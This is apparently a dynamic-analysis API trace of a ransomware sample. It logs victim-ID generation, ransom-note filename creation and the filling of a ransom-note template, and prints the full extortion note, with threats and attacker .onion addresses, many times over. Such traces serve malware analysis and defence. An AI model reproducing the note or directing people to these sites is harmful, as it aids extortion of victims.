RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x5f141a80 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x5ba0c672 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x6532a6eb [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x75727d13 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x40a7fd60 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x693ddee1 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x51a15b89 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x7c3d1d41 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x706b8a3d [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x12294666 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x7efdb4f6 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x141b4668 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0xfa1f698 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x670c7727 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x43b3f120 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x5d4866ac [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x7d599ec8 [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x5d6f22be [0085.226] RtlRandomEx (in: Seed=0x1c7fdf70 | out: Seed=0x1c7fdf70) returned 0x549cb21f [0085.227] sprintf (in: _Dest=0x1b82ce80, _Format="%0.8x" | out: _Dest="2f9b602a") returned 8 [0085.227] RtlInitAnsiString (in: DestinationString=0x1c7fe070, SourceString="2f9b602a" | out: DestinationString="2f9b602a") [0085.227] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe060, SourceString="2f9b602a", AllocateDestinationString=1 | out: DestinationString="2f9b602a") returned 0x0 [0085.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfc0 [0085.227] wcscat (in: _Dest=0x1b82cfa0, _Source="2f9b60" | out: _Dest=".2f9b60") returned=".2f9b60" [0085.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7) returned 0x1b7d3400 [0085.227] strstr (_Str="{id}-Readme.txt", _SubStr="{id}") returned="{id}-Readme.txt" [0085.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.227] strstr (_Str="2F9B60-Readme.txt", _SubStr="{id}") returned 0x0 [0085.227] RtlInitAnsiString (in: DestinationString=0x1c7fe070, SourceString="2F9B60-Readme.txt" | out: DestinationString="2F9B60-Readme.txt") [0085.227] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe060, SourceString="2F9B60-Readme.txt", AllocateDestinationString=1 | out: DestinationString="2F9B60-Readme.txt") returned 0x0 [0085.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a180 [0085.227] strstr (_Str="{id}-Readme.txt", _SubStr="{id}") returned="{id}-Readme.txt" [0085.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d000 [0085.227] strstr (_Str="*-Readme.txt", _SubStr="{id}") returned 0x0 [0085.227] RtlInitAnsiString (in: DestinationString=0x1c7fe070, SourceString="*-Readme.txt" | out: DestinationString="*-Readme.txt") [0085.227] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c7fe060, SourceString="*-Readme.txt", AllocateDestinationString=1 | out: DestinationString="*-Readme.txt") returned 0x0 [0085.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a270 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x596997d6 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x509622b6 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x1df29b38 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x37e52f96 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x74221d5 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x67a2417c [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x3df3345d [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x1ed07b0e [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x67cb38ec [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x33b5ff1d [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x2902662a [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x346b7548 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x1eaf9083 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x71f7ef14 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x76822f88 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x5e56657c [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x29a42fb6 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x35fa1865 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x2c731232 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x5b6c2d78 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x19a653e3 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0xeb20bb3 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x1870476a [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x22db9ce9 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x1870476a [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x706b8a3d [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0xb944acd [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x48fc1c83 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x33cc66bd [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x22db9ce9 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x1db02fc9 [0085.228] RtlRandomEx (in: Seed=0x1c7fdf40 | out: Seed=0x1c7fdf40) returned 0x73891115 [0085.229] strstr (_Str="{code_id:\r\nb64}", _SubStr="id") returned="id:\r\nb64}" [0085.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d020 [0085.229] strstr (_Str="{code_2f9b60:\r\nb64}", _SubStr="id") returned 0x0 [0085.229] strstr (_Str="{code_2f9b60:\r\nb64}", _SubStr="b64") returned="b64}" [0085.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x13f) returned 0x1b82d970 [0085.229] strstr (_Str="{code_2f9b60:\r\na9rpb5uLQu2PVpz6VgOh6cQOBut0frplPHlxk8v+H6lac+NcY4\r\nuHoKYrzzhlQwt70QE38VjLPkSWvLklgmFYUE11jzDVZKYykiO0\r\nIypgmy9FnaUZ3/+Y6T8uz/69hv1m9dMpBghsEAR0p8S1L1XVSa\r\nFhACtaW6Ork6Mw1A/pK/7jNg0aOiOSkqFcuqmX/zKwJi+L6jpF\r\n2mwV1ghxITi15U9L20Xn9s+rAbWNOHCZHAQm0Z/QfKcuKsU97F\r\n/cfZuVp7WDY1rx9vbIkZteDx150uaUmnFe5Uw4YQ==}", _SubStr="b64") returned 0x0 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d020) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a210) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a1b0) returned 1 [0085.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7acf80) returned 1 [0085.229] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .{id} \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: {onion1} \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{id}") returned="{id} \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: {onion1} \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}" [0085.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa06) returned 0x1b82dac0 [0085.229] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: {onion1} \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{id}") returned 0x0 [0085.229] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: {onion1} \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{onion1}") returned="{onion1} \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}" [0085.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa3c) returned 0x1b82e4d0 [0085.230] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{onion1}") returned 0x0 [0085.230] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion \r\nIf the website is not available, open another one: {onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{onion2}") returned="{onion2} \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}" [0085.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa72) returned 0x1b82ef20 [0085.230] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion \r\nIf the website is not available, open another one: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{onion2}") returned 0x0 [0085.230] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO 